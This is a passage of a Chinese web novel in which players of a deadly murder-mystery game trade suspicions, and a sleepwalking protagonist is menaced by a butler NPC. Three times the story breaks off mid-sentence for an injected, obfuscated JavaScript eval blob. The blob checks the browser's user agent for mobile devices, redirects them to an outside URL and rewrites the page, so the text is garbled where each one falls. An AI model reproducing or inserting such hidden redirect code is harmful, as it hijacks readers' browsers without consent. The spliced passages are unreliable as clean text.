“她”试探着往前走了两步,焦雨晴咬紧嘴唇,以免自己因恐惧而发出声音,身体紧贴在墙上,给她让开了路。 其他人也是如此,忍住想要尖叫的冲动,蹑手蹑脚地避开她。 于是走廊里就像在排演一场你追我躲的默剧,场面莫名滑稽,只不过此刻没有一个人心情愉快。 大概是确信没有骚扰者,画家又拖着她的斧头,蹒跚地走回了房间。 门轻声关上,众人松了一口气,但丝毫没有死里逃生的喜悦。 走廊恢复了原样,他们依然不敢发出声音,浑浑噩噩地下了楼。 姜眠仍是一副梦游的状态,无视其他人,径直走向了自己的房间。 10. 无首(10) 翌日。 姜眠在明媚的晨曦中醒来。 阳光照得他暖洋洋的,他懒洋洋地打了个哈欠,往柔软的被子里钻了钻,翻了个身想要继续睡。 咚咚咚—— 敲门声响起,接着李丛的声音传来,隔着门板不太清晰。 “眠哥,你醒了吗?” 姜眠眨了眨眼,初醒的脑子有些迟钝,缓了几秒才想起来,昨晚李丛说以后要认他当亲哥。 姜眠从小到大,身边都没什么同龄人,更没有兄弟姐妹,对这个突然而来的便宜弟弟,他的反应是茫然与无措。 他在认真地思考,当哥哥需要做些什么? 需要把吃的东西分给他吗?他不是很想,可以拒绝吗? 咕噜—— 肚子响了一声,把他的思绪拉了回来。 “眠哥?”李丛又叫了一声。 姜眠起床,打开了门,李丛穿戴整齐地站在门外。 他目光下移,望向李丛的裆部,可惜看不到那只可爱的小黄鸡了,顿时有些遗憾。 李丛注意到他视线,下意识伸手捂住重点部位,旋即又想起已经换了裤子,走不了光的。 他握拳抵在唇间,轻咳了声掩饰尴尬。 同时他也在不着痕迹地打量着姜眠,少年脸颊边有道淡淡的压痕,面色红润发丝微乱,头顶一缕立着的呆毛,看得出来他昨晚睡得很好——不像他翻来覆去,几乎彻夜未眠。 “早啊。”姜眠揉揉眼睛,礼貌地打招呼。 “早。” 他那么放松自然,李丛忐忑的心情平复了些,“昨晚……睡得好吗?” 姜眠点点头:“好。” 李丛望着他平静的面孔,情不自禁地摸了摸脖子。 当时没觉得什么,现在还有点后怕。如果他反应慢点,姜眠会不会像对画家那样,把他的头拧下来当球踢? 那他就要和于泓黄泉手拉手了,凑对断头cp。 但这么瘦削的身体,真的会有那么大的力量吗? 这不太科学! 李丛观察着姜眠,试探性地问:“你……不记得了吗?” 姜眠疑惑偏头:“嗯?” 他只记得昨晚于泓死了,他们在逃命,然后他突然就没意识了,醒来就在自己的房间。 “昨晚发生了什么吗?” 姜眠说着,伸手压了压头顶翘起的呆毛,可刚压下去,那缕头发又倔强地立了起来。 于是他放弃了,茫然地看向李丛。 不记得了? 李丛心思微动,如果他昨晚真是在梦游的话,倒也能解释得通,梦游的人一般都不知道自己做过什么。 那么…… 李丛垂眸,掩住眸底的晦涩,若无其事地说:“你睡着了,差点被NPC砍了。” 姜眠惊讶地看他,嘴唇微张。 李丛注视着他,面不改色:“不过我帮了你,然后把你送回了房间。” “好险!”姜眠松了口气,“幸好有你在。” 李丛微微一笑:“我们是朋友嘛,朋友就是要互相帮助。” “朋友?”姜眠惊讶地看着他,“真的吗?” 他从小到大都没有朋友,那些人都叫他小怪物,说他的眼睛是鬼眼,不愿意和他玩。 没有朋友也不要紧的,姜眠习惯了,他只要能吃饱肚子睡好觉就行。 不过要是有人愿意和他做朋友,他也是很开心的,对他来说是种新奇体验。 李丛笃定:“是的,朋友。” 姜眠笑了起来,伸出手:“那我们握手吧。” 交朋友的时候,都是要先握手的。 他笑容实在纯粹,衬着他白玉般光洁的脸庞,在这样阳光明媚的清晨,一尘不染。 多么美好的画面啊——如果这不是他让人掉以轻心的伪装。 李丛莫名想起一句话,太单纯或太复杂的人,容易活不长久。 他和姜眠握手,这只手指骨修长皮肤光滑,温度还是偏低,但不像昨晚那样冰凉。 “好了。”李丛说,“时间差不多了,我们下楼吃饭吧。” 一提到吃饭,姜眠就来精神了,他早就饿了。 想起兜里还有两块面包,昨晚他实在太困了,忘了吃。他手伸进兜里,却只摸到了一手面包屑,拿出来一看,面包竟然被压碎了! 姜眠翘起的嘴角垮了下去:“我的面包……” 他情绪明显低落,李丛赶紧安抚:“没事,待会儿要是不够,你吃我的。” 姜眠勉为其难地点了点头。 其他人陆陆续续地从房间里出来,眼下都挂着大大的黑眼圈,显而易见的憔悴,一看就是整晚没睡好。 气氛低迷,毕竟才过了一天,就死了两个人,谁也不知道下一个会不会是自己。 或许是错觉,姜眠觉得他们看自己的眼神有些讳莫如深,不过他并不介意,他更关心早餐是什么。 勉强打过招呼,大家一起往楼下走。 踩着点来到餐厅,管家已经等在那里了,这次桌上有七份食物。 其他人逐一在餐桌边落座,姜眠脚步微顿,迟疑着没有上前。 昨晚于泓死了,管家只会准备六份食物才对,因为作为男仆的他没有资格和客人同桌吃饭。但现在有七份饭,多余的一份是为他准备的,还是管家并不知道于泓死了? 他这一迟疑,管家就看了过来,面色阴沉:“你还站着做什么,要耽误大家的时间吗?” 姜眠立刻乖乖坐下,手放在腿上,腰背笔直。 饥饿使人清醒,他难得地转动脑子,管家把他划入了“嫌疑人”里,那么和其他人自然是同等的待遇。 旋即他又想到,其他人都是以“客人”的身份来到这里,而他却是男仆。光从身份上来看,他应该和管家是同一阵营才对,除非……他来这里的目的并不是做男仆,而是有其他不可告人的理由,并且对齐雪有绝对的杀机。 餐铃的声音打断了他的思绪,管家姿态优雅地坐到主座:“在进餐的时间里,诸位可以畅所欲言,希望不要让我失望。” 他抬腕看表,不紧不慢地说:“还剩57分32秒。” 经历了昨晚,众人都没什么胃口,蔫蔫地用餐具拨动盘里的食物。 辛文浩最先开口。 “先捋一捋目前得到的信息吧。”他疲倦地捏了捏眉心,“昨天我们在于泓的房间发现了很多线索,包括信件、书画购买凭证以及借债单,本来他嫌疑最大,但他死了。” “所以他的嫌疑可以排除,凶手另有其人。” 众人对这个结论没有异议,人死了游戏却还没结束,只能说明他不是凶手,否则没有继续下去的意义。 而且排除了于泓后,当晚就一定还有第二个没睡着的人,他们之中有人在说谎。 焦雨晴脸色苍白:“于泓死了,但是他这条线没有完全断,别忘了信里提到的‘X’,万一他们是团伙作案,于泓负责偷画,‘X’去杀人……” 至于‘X’是谁? 昨晚于泓说不知道,但目前最大的怀疑对象是名字以“X”为开头的辛文浩。 已知条件是‘X’告诉于泓,齐雪在悉心准备一幅画,并且打算画完就退圈……结合背景里齐雪已经有将近一年没露过面,也不接受拜访,那么能知道这些事的,一定是和齐雪比较亲密的人。 李丛琢磨了下,视线转向辛文浩:“你是她的经纪人,关系肯定比我们亲密,她只会跟你透露风声吧。” “不止。”辛文浩眸光微闪,“还有其他人。” 他看向坐在一起的柯睿和宋佳妮,“宋小姐是齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13026177|137373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雪的闺蜜,你们从大学就认识了,一直形影不离。至于柯先生……”他顿了顿,“昨晚在齐雪卧室的抽屉里,我找到了一份你们的离婚协议。” 宋佳妮精神本就紧张,闻言情绪激动地反驳:“不是我,我没有!” “我和她以前关系是很好,但是近两年已经很少联系了。我只知道她生病在家,完全不清楚她具体在做什么,更不知道她想退圈的事!” “你知道。”焦雨晴镇定道,“我在书房电脑上看到了齐雪给你的邮件,她向你透露过退圈的意愿,你还劝过她。” “是吗?”宋佳妮表情空白了一瞬,“那好像是说过……”她痛苦地抱住脑袋,“我记不清了!” “她状态不好,别逼她了。”柯睿面色不虞,双手抱臂靠着椅背,这是个无意识的防备性动作。 他环视众人,冷淡地说:“我和齐雪的确秘密结婚了,但婚后我们相处得并不好,所以在准备离婚。” “怎么个不好法?”有人问。 柯睿沉思几秒:“她是个情绪反复暴躁的人,控制欲很强。” 众人面面相觑,这和之前看到的信息截然不同! 报道里说,齐雪是个惊才绝艳的画家,为人温和友善,热衷于慈善事业,还参加了许多次义卖。 但柯睿却说她情绪暴躁,控制欲强? 这只有两种可能—— 第一种,齐雪表里不一,对外的温和友善是装出来的,只是为了得到更多的赞誉。 第二种,齐雪表里如一,柯睿是故意这么说的。污名化齐雪,把她营造成不完美受害人,好为自己行凶找借口。 焦雨晴蹙眉:“离婚协议里写了什么?” 辛文浩摇摇头:“昨晚情况太紧急了,没来得及细看。” 这就表明,他们必须回到三楼,找到那些重要线索。 也意味着还要再经历昨晚那样的血腥事件。 众人心情沉重,餐厅里安静下来,只能听到餐具碰撞的轻响。 在其他人讨论的时间里,姜眠心无旁骛地干饭,面前的盘子已经空了。 可他还是很饿,意犹未尽地舔了舔嘴唇,可怜兮兮地望向管家。 管家接收到他渴望的眼神,冷哼一声,微昂着下颌阴阳怪气:“有些人要是少把心思放在口腹之欲上,也不至于一事无成。” 姜眠:“……” 他觉得是在内涵他饭桶,但又没有证据。 随即他感觉手肘被人碰了碰,扭头看去,李丛对他挤眉弄眼,悄悄推了个小盘子过来,上面放着个煎鸡蛋。 姜眠眼睛一亮,接着又犹豫了起来,把盘子推回去,小声说:“谢谢……但是你吃吧。” “没事,我不饿。”李丛也压低声音。 不饿是假,但他确实没胃口,何况管家只说不能浪费食物,没说不能给别人吃。 姜眠对他笑了笑,接受了他的好意。 李丛是个很好的朋友,有朋友就能吃饱肚子,那他以后要有多多的朋友。 右手也被人碰了下,焦雨晴把小面包让给了他。 “谢谢!”姜眠欣喜,“你也是个好人!” 焦雨晴被他的笑容一晃,看他这么没心没肺的样子,莫名感觉心情没那么阴霾了,微微扬唇:“不用谢。” 姜眠吃东西的时候,所有人都看着他,等他吃完用餐巾擦干净嘴,就对上七双神态各异的眸子。 “怎么了?”他不明所以。 “你有没有什么想法?”辛文浩镜片反射着冷光,怕姜眠说无关的事,补充道:“关于齐雪。” 姜眠没那么饿了,认真地想了一会儿,抿唇:“为什么要砍掉她的头呢?” 李丛微怔,旋即脑中迅速闪过什么,太快了他没抓住。 是啊,为什么一定要砍掉她的头? 11. 无首(11) 姜眠不是很明白。 杀人的方式有很多种,就拿常见的来说,下毒、勒毙、刀刺等等……为什么要选择那么激烈残忍的方式? 通常情况下,只有不想让人知道死者的身份,从而增加调查难度时,凶手才会选择毁尸。 但现在他们都知道那个房间里住着齐雪,相当于死者身份已知,那这不是多此一举? 就算再怨恨,砍下来就是了,但现场并没有发现齐雪的头颅,是藏到其他地方了吗? 姜眠说到了大家忽略的盲点,李丛脑子飞速转动,浮现出一个大胆的猜想,死的不是齐雪?! 不,他很快否定,说不通啊!如果不是齐雪,那还能有谁? “会不会……跟画有关?”焦雨晴不太确定地说,“那幅画也没有头。” 齐雪很少画肖像,那幅画是近些年来唯一的一幅,但画的却是位被头纱覆盖的女人。 脸遮住了,约等于没头。 为什么要遮住女人的脸?那个女人又是谁?是齐雪的自画像吗? 历史上许多著名画家都画过自画像,如梵高、蒙克、毕加索等。从某些程度上来说,自画像是他们无法对外宣泄的内心独白,一种自我阐述或精神寄托。 而许多天赋型画家,都被精神疾病所困扰。 比如画出《呐喊》的蒙克,因为悲惨的童年而严重自闭,始终沉浸在痛苦中,也正因如此他的作品总是充满强烈的情感。 又比如梵高,幼年被忽视导致他性格孤僻,中年精神失常,割下自己的耳朵后,又开枪自杀。 如果那是齐雪的自画像,她为什么不能直视自己,从而把脸遮住呢? 报纸上说她近些年饱受疾病困扰,那么困扰她的,会不会也是精神类疾病?联系上柯睿说她情绪反复暴躁,可能性很大。 “等等!”李丛灵光一闪,“你们说有没有一种可能……齐雪想自杀。” 他这猜想也太不着边际了,辛文浩拧眉:“细说。” “当然,我只是根据已有线索大胆设想。”李丛手背抵唇,垂着眸子捋思路:“齐雪因为某些原因,患上了严重的精神疾病,以至于她没法正常画画。” “这让她很痛苦,她没法正视自己的痛苦,想彻底结束这一切。” “可是……”赵影开了口,见大家看向她,她不自在地捏了捏手指:“自杀的话,会用这种方式吗?也太……” 大家都懂她未尽的意思,女人大多爱美,不会选这么激烈难看的方式。 “听我说完。”李丛呼吸加快,心脏砰砰直跳:“但是她又没有办法对自己下手,所以找人协助自杀。或者更激进点,她把我们这群人聚在一起,就是在给我们杀她的机会!” 他话音落下,所有人的表情都变得讳莫如深。 这意味着事情更加复杂了。 啪——啪——啪—— “很精彩。”管家鼓了鼓掌,皮笑肉不笑。 他抬腕看了眼时间,语气遗憾:“可惜时间到了。” 时间到了,意味着他们必须离开餐厅,众人陆续起身,面上都是如出一辙的沉重。 “午餐在中午12点,希望各位准时,那是你们今天的最后一餐。”管家幽幽道。 姜眠跟在李丛身后,刚迈出一步,就听管家说:“你,留下。” 直觉管家在叫他,他回过身,伸手指着自己:“我吗?” “这里还有第二个低等的仆人吗?”管家斜睨着他,“把东西收拾了,再把厨房打扫干净。” 姜眠欲言又止,忍了忍还是问:“您……就不能自己打扫吗?” 食物都准备了,那么清理厨房应该也不是什么难事。 何况他现在很忙,要去找线索了。 他竟然敢顶嘴,管家逼上前来,眯了眯狭长的眸子:“你在和我讨价还价?” 离得近了,姜眠闻到一股浓郁的香水味,和管家身上的阴湿气息混杂在一起,更难闻了。 他能屈能伸,立刻拉开安全距离,小跑着推来餐车:“我马上收拾!” 姜眠麻利地收拾了餐桌,又小跑着把餐车推进厨房,一股脑地将餐碟刀叉扔进洗碗池,任劳任怨地开始刷碗。 很明显,管家喜欢做饭,但讨厌洗碗。 有谁会喜欢洗碗呢? 管家站在不远不近的地方,一直监督着他,姜眠不敢偷懒,把洗好的碗摞在一起,打算放进橱柜里。 可一转身,迎面撞上管家,脸色苍白如纸,那双漆黑硕大的瞳仁死死盯着他。 他什么时候靠近的?! 姜眠猝不及防一个手滑,那摞碗如数摔落在地上。 噼里啪啦声里,瓷片飞溅得到处都是,全部摔了个稀碎。 都碎了,得扣多少工资啊!姜眠大惊失色,立马弯下腰去捡,试图抢救一下。 管家露出个得逞的阴森笑容,袖口下露出一截锋利冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13026178|137373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光。 总算是被他找到机会了…… “嘶……” 指尖传来刺痛,姜眠没留神,手指被尖锐的瓷片割破了。 血珠从细小的伤口里渗了出来,姜眠蹙起眉头,握着自己受伤的那只手,委委屈屈地看向管家。 空气里泛起一股奇异而熟悉的气息,管家逐渐狰狞狂化的面容滞住,迅速恢复原样。 他收回餐刀,意外地挑了下眉:“嗯?” 姜眠正努力往外挤眼泪,试图通过卖惨来逃过责罚,甚至连悲惨的身世都编好了: 上有八十老母,下有八岁……八岁幼儿,一家人嗷嗷待哺,就指望着他养活。要是没有他打工挣钱,他们就都要饿死了! ——他看过的那些电视剧里都是这么演的。 谁知管家突然凑了过来,像狗一样耸着鼻子在他身上闻来闻去。姜眠下意识想后退,可接着两只戴了白手套的手禁锢住他,管家越闻越兴奋,鼻子近乎贴到了他身上。 姜眠不明所以,身体一点点后仰,想离他远一些。管家却一把抓住他手腕,伸出黑色的舌头,忽然舔了下姜眠流血的手指。 姜眠:“!!!” 指尖传来冰冷潮湿的触感,仿佛被什么湿滑的软体动物爬过,姜眠头皮一炸,那瞬间汗毛都快立起来了。 也不知是哪来的力气,他用力往回抽手,挣脱了管家的钳制。 管家缓缓抬起头,深深地凝视着他,舌尖卷了卷唇角,露出个贪婪的笑容:“原来如此……” 姜眠觉得管家眼神有点奇怪,就好像在看一块美味的小蛋糕,恨不得把他拆吞入腹,连骨头渣子都一并吃下去…… 比起虐杀欲,管家现在似乎更想吃了他! 这种联想令姜眠心中警铃大作,低下头避开管家的视线。他现在很不舒服,只想赶快离开这里。 “抱歉,我去找线索了。” 姜眠用最快的速度,飞似的逃出厨房。 那阴湿的目光一直黏在他背上,他侧过脸,偷偷拿余光去看,管家果然立在他身后不远处,满脸意味深长。 心脏突地一跳,姜眠第一次体会到了前所未有的危机感,加快脚步离开了管家的视野范围。 看着他几乎慌不择路的背影,管家愉快地轻笑了声,脱掉一直戴着的白手套,干枯苍白的手指意犹未尽地抹了抹嘴唇。 他眼里闪烁着兴奋的光芒,瞧瞧,让他发现了什么好东西。 12. 无首(12) 姜眠来到大厅,发现大家都聚在那里,正在争论着什么。 看到他来,李丛向他招了招手。 姜眠走过去站在他旁边,压低声音问:“他们在吵什么?” 李丛耸了下肩:“我们在盘杀人动机,然后柯睿和浩哥杠上了,他俩都觉得对方的嫌疑更大。”说着他奇怪地看了眼姜眠,“你怎么了?脸色不太好。” 从一开始进入这个空间,姜眠一直都是一副平平淡淡的模样,无论是死人还是被NPC追杀,都没出现过太大情绪起伏。 但这次姜眠过来的时候,神色似乎有些微的慌张…… “管家把你留下之后,发生了什么吗?”李丛不着痕迹问。 姜眠蜷了蜷手指,那湿滑的触感仿佛还停留在指尖,他想起管家黑色的舌头、细密的牙齿,以及那贪婪的眼神,顿时整个人都不太好了。 尽管他也不清楚为什么,但管家想吃他,他确信。 相比对其他人的杀欲,管家对他的是食欲。 可他总不能这样跟李丛说,李丛一定会觉得很奇怪。 奇怪的人会被看做异类,而异类并不受欢迎,这一点他从小就明白。 姜眠抿唇,选择只说一半:“他让我洗碗,但是我不小心打碎了盘子。” 李丛倒抽了口凉气,他记得第一个被杀的男人,只是因为不吃管家准备的食物,就跟犯了天条似的,被管家拿刀把脖子捅了个对穿。 姜眠打碎了盘子,会不会被盯上? “他没……那啥你吗?”他做了个杀鸡抹脖的动作。 姜眠摇了摇头,低眉顺眼,一副不愿多说的样子。 他这乖顺的模样,和昨晚大杀四方时判若两人,李丛总忍不住观察他,直觉他身上藏着很多秘密。就摔盘子这一出,要是换个其他人,说不定早就血溅当场了。 那边的争论还在继续,辛文浩长长地吸了口气:“我再来总结下吧,目前来看,这个‘X’有三个嫌疑人选,柯睿、宋佳妮,还有……我。” 他们三都是与齐雪关系密切的人,也最了解齐雪,身边人最容易下手,因为齐雪可能不会那么防备他们。 “我刚才已经说过,柯睿有充足的动机。”辛文浩冷静道,“昨天我去过他房间,发现他最近在筹备一部电影,原本谈好的资方撤资了,他现在很需要钱。” “先不论离婚协议里写了什么,以他们的夫妻关系,如果一方身故,另一方作为配偶,有第一顺位继承权。如果齐雪活着,科睿最多得到一半的财产,但若是齐雪死了,他将会得到所有的遗产,他才是最大的受益者。” 辛文浩刚说完,柯睿就冷笑了声。 “那么急着甩锅,不会你才是凶手吧?”柯睿阴沉着脸,“我在你房间发现了法院传票,是关于你和齐雪的经济纠纷,你要不要解释一下?” 辛文浩眸色微暗,沉吟片刻后,神色坦然:“我和齐雪之间确实有一些小纠纷,她认为我虚报价格,从中获利,但这其实只是个误会。” 柯睿撇嘴,显然是不信:“误会?” 辛文浩:“实际上齐雪并不擅于交际,很多活动都是我出面协调的,同时也负责联系卖家。我们一直配合得很默契,但从前两年开始,不知她从哪听来的谣言,说我给她的报价比实际上的少。” 李丛听懂了,就是辛文浩作为经纪人,背着齐雪搞阴阳合同那一套,卖家买家两头吃。 “你没有吗?”柯睿咄咄逼人。 辛文浩推了推眼镜:“我是齐雪的合作伙伴,但同时我也是个商人。” 话落他顿了一会儿,像在权衡利弊。 “我承认我确实在一些合同上做过手脚,但并没有你认为的那么夸张,而且无论如何,也走不到要杀掉她的那一步。” 他说完这话,大家都沉默下来。 人心不足蛇吞象,这很现实。 无论是枕边人柯睿,抑或是多年伙伴辛文浩,利字当头,足以令他们迷失本心,做出不可挽回的事情。 气氛都烘托到这了,再隐瞒就不礼貌了。 李丛举手:“我坦白。” 这是要自爆吗?姜眠唇角微扬,期待地看向他。 “反正这把逆风局,我就直说了吧。”李丛坦坦荡荡,“我来这里确实有目的,但我的目标并不是齐雪,而是齐雪的父亲。” “父亲?” “对。”李丛点点头,“实不相瞒,我父亲和齐父是故交,早年一起做生意。后来生意做大做强了,他们因为一些观念差异闹掰,各自经营自己的公司。” “本来各自发展得都挺好,但是……”李丛加重语气,目光冷了下来:“几年后,我父亲入狱了。” 姜眠适时捧哏:“然后呢?” 李丛给了他个赞赏的眼神,继续说:“我父亲入狱,是被陷害的,始作俑者就是齐父。” “具体过程很复杂,我父亲出狱后查了很久,才有了一些眉目。本来要找齐父对峙,但是齐父几年前意外身故,所以不了了之。” “前两年我父亲病重,临死前还是放不下这件事,让我想办法找到当年陷害他的证据,还他清白。” “所以你是来找证据?”焦雨晴问。 “信我,学姐!”李丛眼神坚定得仿佛要入党,“种花人不骗种花人,何况咱俩还一个学校!” 焦雨晴不吃这套:“可齐父不是死了吗?你怎么知道有没有证据留存下来?” 李丛摊手:“所以我才接近齐雪啊,想从她嘴里套信息。” 焦雨晴:“套到了吗?” 李丛:“……” “没有。” 焦雨晴:“呵。” “你呢?”她转向姜眠,“你的动机是什么?” 她这句话其实有坑,杀人才会有动机,其他的顶多算目的不纯。 姜眠清楚这一点,目视着她,不紧不慢地说:“我来这里,是为了找一个人。” “找人?”焦雨晴挑眉,“谁?” 姜眠从胸前口袋里抽出一张照片,递给焦雨晴。 “我妈妈。”他说,“你有见过她吗?”这照片李丛已经看到过,并没有隐瞒的必要。 焦雨晴仔细端详那张照片,是个美丽温婉的女人。她长眉微蹙,莫名感觉那身形有些熟悉…… “你找妈妈,为什么来这里?” 姜眠就知道他们会问,又拿出一张画展入场券,正是一年前齐雪举办的那一场画展——画展结束后不久,她就隐居不出了。 “半年前,我妈妈失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13026179|137373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踪了。”他轻声说。 少年睫羽轻颤,精致脸庞带点淡淡的悲伤,衬着他白皙的肤色,以及本就单薄的身体,此刻的他竟有种脆弱透明感。 众人不由自主地失了神。 可当他抬眸,对上那双美丽深邃、但却古井无波的眸子,仿佛一对无底的漩涡,于是那种违和的非人感又油然而生…… 赵影在看到那张照片后,脸色有一瞬的苍白,但大家此刻注意力都在姜眠身上,从而忽视了她。 听到姜眠说妈妈失踪,并且可能与齐雪有关,大家脸上的表情相当精彩。 三楼的那具尸体,不会是姜眠的妈妈吧! 这也可以解释为什么要砍头,因为可以从脸分辨出身份,可如果那是姜眠的妈妈,凶手又该是谁? 而且凶手为什么要这样做?有什么不可告人的目的?齐雪又去哪了? 这样一来,之前盘的杀人动机就不一定成立了。 线索越来越多、越来越乱,就连姜眠也苦恼起来。 头好痒,要长脑子了! “我们需要去三楼确认尸体的身份。”辛文浩说,“只有确认了身份,才知道下一步该怎么走。” 大家都懂这个道理,问题是谁去? 昨晚于泓被杀的血腥场面,所有人都有目共睹,要是再碰到诈尸,可不是闹着玩儿的。 毕竟这是一场真正的杀人游戏,而不是现实里的过家家剧本杀。 空气静默无声,众人面面相觑,一时间没有人开口。 过了半分钟,一直起带头作用的辛文浩叹了口气。 “这样吧,猜拳怎么样?”辛文浩环视众人,“一局定输赢,这是最公平的方式。” 一局定输赢,每个人的胜率都是二分之一,技巧很难发挥作用,所以相对其他方式公平。 李丛一听又要猜拳,绝望地闭了闭眼。 作为顶级非酋,他刮刮乐都还能走狗屎运中次奖,但猜拳就没赢过! 天要亡我! “可以,但这次按小组来吧。”焦雨晴同意,“每队派个代表猜拳,输了的去三楼。” 听到小组作业,李丛放心了些,但一想到队友是姜眠,他的心又吊了起来。 无论怎样,总比他这个猜拳黑洞强。 决策顺利通过。 但昨晚于泓死了,辛文浩目前单飞,单打独斗不太现实。一来无法互相照应,二来要是他找到重要线索,但是突然死了,那么线索就可能会断掉。 所以当务之急,辛文浩需要在剩下的三组里,选一组加入。 “浩哥和我们一组吧。”焦雨晴先发制人,“我们两个女生,有时候不太方便。” 辛文浩欣然应邀,“好。” 其他组已经选好猜拳人了,分别是辛文浩和柯睿,李丛拱了下姜眠肩膀:“眠哥,就靠你了。” 姜眠欲言又止,既然为人兄长就要担负起责任,于是点头:“……好。” 他走上前,三人相对而立。 焦雨晴当裁判:“准备……” “剪刀,石头……布!” 李丛屏住呼吸,眼睛都不敢眨,在看到姜眠最后出了布,而另两人都是剪刀时,腿肚子一软。 悬着的心终于死了。 13. 无首(13) 愿赌服输,姜眠和李丛前往三楼,其他人则在楼下搜索。 李丛有些抓狂,问姜眠:“你怎么会想到先出布?” 姜眠满脸无辜:“因为……剪刀,石头,布——” 他连说还带比划,李丛捂了捂脸。 所以这就是他出布的理由? “那只是个顺口溜,不是让你真的出布啊!” 事已至此,再纠结也没用,其他人还等着他们去三楼确认尸体的身份——这是非常必要的,否则一旦搞错身份,就可能导致推理思路完全偏离。 两人顺着楼梯往上,姜眠垂着眸子,在想之前厨房里发生的事。 管家似乎是故意让他摔碎那些盘子的,而按照管家的逻辑,他作为“仆人”,摔碎盘子理应是要受到惩罚的,就像之前那位浪费食物的先生一样。 盘子碎掉的时候,管家一开始似乎也准备杀他,因为他看到了餐刀反射的冷光,但为什么管家改变了想法? 因为他的手被瓷片割破,流血了? 管家还做了非常奇怪的事,舔掉了他流出来的血…… 姜眠又回想起被那潮湿冰凉的舌头舔舐的感觉,像被泥土里的蚯蚓缠住……后背顿时麻麻的,感觉汗毛都立起来了,很不舒服。 旋即他又想到,到现在为止已经死了两个人,但他们的尸体却都不见了,难道是被管家吃掉了吗? 姜眠睁大眼睛。 他离开厨房时,管家用那种奇怪的眼神看他,如果他们不赶紧找出凶手离开这里,是不是迟早会被管家吃掉?! 太可怕了! 他喜欢吃小蛋糕,但不想变成小蛋糕被别人吃掉,尤其是管家! 这么想着,他加快了脚步。 “哎?”李丛本来和他并肩,瞬间就落后他几个身位,不明所以:“你这么急着去找死吗?” 姜眠头也没回:“不会死的。” 李丛跟上去:“你怎么知道?” 姜眠缓缓眨了眨眼,神态语气都很冷静:“昨晚你听到钟声了吗?” “好像听到了……”李丛努力回想,“不过当时我正要去看床底下,没心思注意其他。” “那座钟只会在6和12的整点敲响。”姜眠脚步不停,“昨晚先敲了6点的,我们在齐雪房间的时候,敲了第二次,代表晚上12点,然后她才复活。” 李丛恍然大悟:“所以只有在晚上12点后,才会诈尸?” “目前为止应该是这样。”姜眠不太能肯定。 李丛:“万一猜错了呢?” 姜眠扭头看他,没什么情绪地说:“那可能就会死掉哦。” 李丛:“……” 见他无语凝噎,姜眠扬起唇角,笑道:“没关系,我会保护你的。” 李丛微怔。 他活了20来年,遇到过很多人,也见到过很多不同类型的笑。 善意的、恶意的、快乐的、喜极而泣的……而这种毫无阴霾的笑容,他只在孩童脸上见过。因为孩童大多涉世不深,没经受社会毒打,自然比成年人更为简单纯粹。 他一直觉得姜眠身上违和的点,在于他好像懂很多,但又好像什么都不懂。 非要形容的话,就是一种超乎年龄的……懵懂。 或者说是混沌…… 而且从游戏开始,姜眠一直表现出来的,是一种漠不关心的游离感。仿佛他并未身在其中,只是一个冷静的看客,就算同伴在他面前惨死,也没有丝毫的动容…… 但现在,姜眠竟然说要……保护他? 心念微动,李丛勾了下唇:“你为什么要保护我?” 姜眠一本正经:“哥哥都是要保护弟弟的。” 李丛:“???” 哥哥?姜眠? 哦对,他确实叫过“眠哥”,但那只是随口……他和榜一大佬组队打游戏时还叫过爹呢。 姜眠竟然真当一回事儿。 “眠哥。”李丛面无表情,“那你打算怎么保护我?” 对啊,怎么保护? 姜眠犯了难,思索几秒,认真道:“让你先跑?” 李丛:“呵。” 他上下打量着姜眠,就那细胳膊细腿,谁保护谁还不一定呢。 不!他又想起昨晚,姜眠就跟僵尸片里被祖师爷上身了似的,咔咔两下折了NPC手腕,还差点拧了他脖子! 虽然不清楚他是怎么做到的,但那时的姜眠和现在判若两人,仿佛觉醒了另一个人格…… 他严肃地注视着姜眠:“小弟有句话,不知当不当讲。” 姜眠:“什么?” “你……睡着之后。”李丛斟酌着措辞,“好像变了一个人。” 闻言姜眠愣住。 他嗜睡的毛病从小就有,并且随着长大越来越严重,有时候醒来,还会发现自己出现在别的地方,中间那一段记忆完全空白。 这其实很危险,比如有一次,他醒来时正站在天台边缘,再往前迈一步就会坠落。 还有一次,他在嘈杂的声音中醒来,发现自己站在十字路中心。四面八方的车环绕着他,明亮惨白的车灯照得他睁不开眼,尖锐刺耳的喇叭声此起彼伏…… 他抿了抿唇,苦恼地坦白:“我好像有梦游症。” 李丛挑眉,没发表什么意见。 几句话的功夫,两人已经来到了三楼。 姜眠目不斜视,径直向齐雪的卧室走去,忽然听到李丛说:“我还是很好奇,你今年到底多大?” “18岁。”姜眠说,“你呢?” 